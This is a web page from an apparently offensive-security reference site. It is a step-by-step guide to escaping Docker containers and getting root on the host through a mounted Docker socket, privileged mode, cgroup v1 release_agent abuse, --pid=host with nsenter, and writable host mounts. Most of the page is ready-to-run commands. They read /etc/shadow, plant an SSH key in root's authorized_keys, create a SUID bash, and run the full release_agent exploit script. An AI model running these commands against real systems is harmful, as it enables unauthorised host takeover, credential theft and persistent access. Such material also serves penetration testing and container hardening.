# Docker Container Escape and Host Privilege Escalation

> Techniques for escaping Docker containers via misconfigured runtimes, privileged flags, mounted sockets, and kernel exploits to gain host root access.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/docker-container-escape
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-04-24

Docker containers share the host kernel. Several misconfigurations allow escaping the container namespace to gain root on the host. Confirm which scenario applies before choosing a technique.

Common docker container escape vectors:

- Docker socket mounted inside the container
- Privileged mode with full capabilities
- Host PID namespace access (--pid=host)
- cgroup v1 release_agent abuse
- Writable host paths mounted into the container

## Prerequisites Check

Determine whether you are inside a container or on the host:

```bash
# Strong indicators you are inside a container
cat /.dockerenv 2>/dev/null && echo "Inside Docker container"
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

# Check hostname: containers often have random hex hostnames
hostname
cat /etc/hostname
```

If you are on the host and in the `docker` group, see [https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation) for the docker group escalation path. This page covers escaping from inside a container.

Check your container's privilege level:

```bash
# Are we privileged?
cat /proc/self/status | grep CapEff
# Full capabilities (0000003fffffffff or similar high value) = privileged container

# Simpler check
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "NOT privileged"
ip link delete dummy0 2>/dev/null
```

## Technique 1: Docker Socket Mounted Inside Container

The most common misconfiguration. When `/var/run/docker.sock` is mounted inside the container, you have full control of the Docker daemon running as root on the host.

Check if the socket is present:

```bash
ls -la /var/run/docker.sock
find / -name "docker.sock" 2>/dev/null
```

If present and readable, mount the host filesystem via a new container:

```bash
# Check if docker CLI is available
docker version 2>/dev/null

# If docker CLI is present
docker run -v /:/host -it alpine chroot /host /bin/bash
```

If docker CLI is not in the container but the socket is accessible, use the Docker API directly via curl:

```bash
# List images via API
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool | grep RepoTags

# Create a privileged container via API and exec into it
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' http://localhost/containers/create?name=escape

curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["/bin/sh","-c","chroot /host /bin/bash"]}' http://localhost/containers/escape/exec
```

## Technique 2: Privileged Container Escape

A privileged container has all capabilities and full access to host devices. You can mount the host disk directly.

Confirm privileged mode (from the check above). Then find the host disk:

```bash
fdisk -l 2>/dev/null
lsblk
ls /dev/sd* /dev/vd* /dev/xvd* 2>/dev/null
```

Mount the host root filesystem:

```bash
mkdir -p /tmp/host
mount /dev/sda1 /tmp/host

# Or find the actual root device
cat /proc/mounts | grep " / "
# Use the device shown for /
mount /dev/xvda1 /tmp/host

ls /tmp/host/root/
cat /tmp/host/etc/shadow
```

Write an SSH key for root:

```bash
mkdir -p /tmp/host/root/.ssh
echo "ssh-rsa YOURPUBLICKEY" >> /tmp/host/root/.ssh/authorized_keys
chmod 700 /tmp/host/root/.ssh
chmod 600 /tmp/host/root/.ssh/authorized_keys
```

Or plant a SUID bash:

```bash
cp /tmp/host/bin/bash /tmp/host/tmp/.rootbash
chmod u+s /tmp/host/tmp/.rootbash
# Then from host: /tmp/.rootbash -p
```

## Technique 3: cgroup v1 release_agent

In privileged containers on hosts using cgroup v1, you can write to the `release_agent` file: a script executed by the host kernel as root when a cgroup becomes empty.

Check if cgroup v1 is available and writable:

```bash
cat /proc/1/cgroup
# Look for: 0::/

# Check if we have a mounted cgroup hierarchy
mount | grep cgroup
ls /sys/fs/cgroup/
```

Exploit:

```bash
# Find a writable cgroup mount
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))

# Create payload
mkdir -p $d/x
echo 1 > $d/x/notify_on_release

# Get the cgroup path
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Write the payload to release_agent
echo "$t/cmd" > $d/release_agent

# Create the command that will run on host as root
cat > /cmd << 'EOF'
#!/bin/sh
ps aux > /output
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /cmd

# Trigger the release_agent by creating and killing a process in the cgroup
sh -c "echo \$\$ > $d/x/cgroup.procs" && sleep 1

# Check output
cat /output
```

After the release_agent fires, `/tmp/.rootbash` on the host has the SUID bit set. Exit the container and run it:

```bash
/tmp/.rootbash -p
```

## Technique 4: --pid=host Namespace Access

If the container was started with `--pid=host`, it shares the host's PID namespace. You can see and interact with all host processes including root processes.

Check:

```bash
ls /proc/ | wc -l
# Very large number = host PID namespace
ps aux | grep root | head -10
```

Inject into a root process using nsenter:

```bash
# Find a root process PID
ps aux | grep root | grep -v "\[" | awk '{print $2}' | head -5

# Enter the host namespaces via a root process
nsenter -t $ROOT_PID -m -u -i -n -p -- /bin/bash
```

## Technique 5: Writable Host Path Mounted into Container

Check all mounts for host paths that are writable:

```bash
cat /proc/mounts
mount | grep -v "^overlay\|^proc\|^tmpfs\|^devpts\|^sysfs\|^cgroup\|^mqueue\|^shm"
```

If a sensitive host path is mounted into the container with write access: `/etc`, `/home`, `/opt`: modify files there that affect host execution. For example, write to `/etc/cron.d/` if it is mounted writable.

## References

- [deepce](https://github.com/stealthcopter/deepce) - Docker enumeration and container escape automation tool.
- [Docker Breakout](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation) - HackTricks Comprehensive container escape technique reference.
- [cgroups(7) Manual](https://man7.org/linux/man-pages/man7/cgroups.7.html) - Control group hierarchy and release_agent behavior.
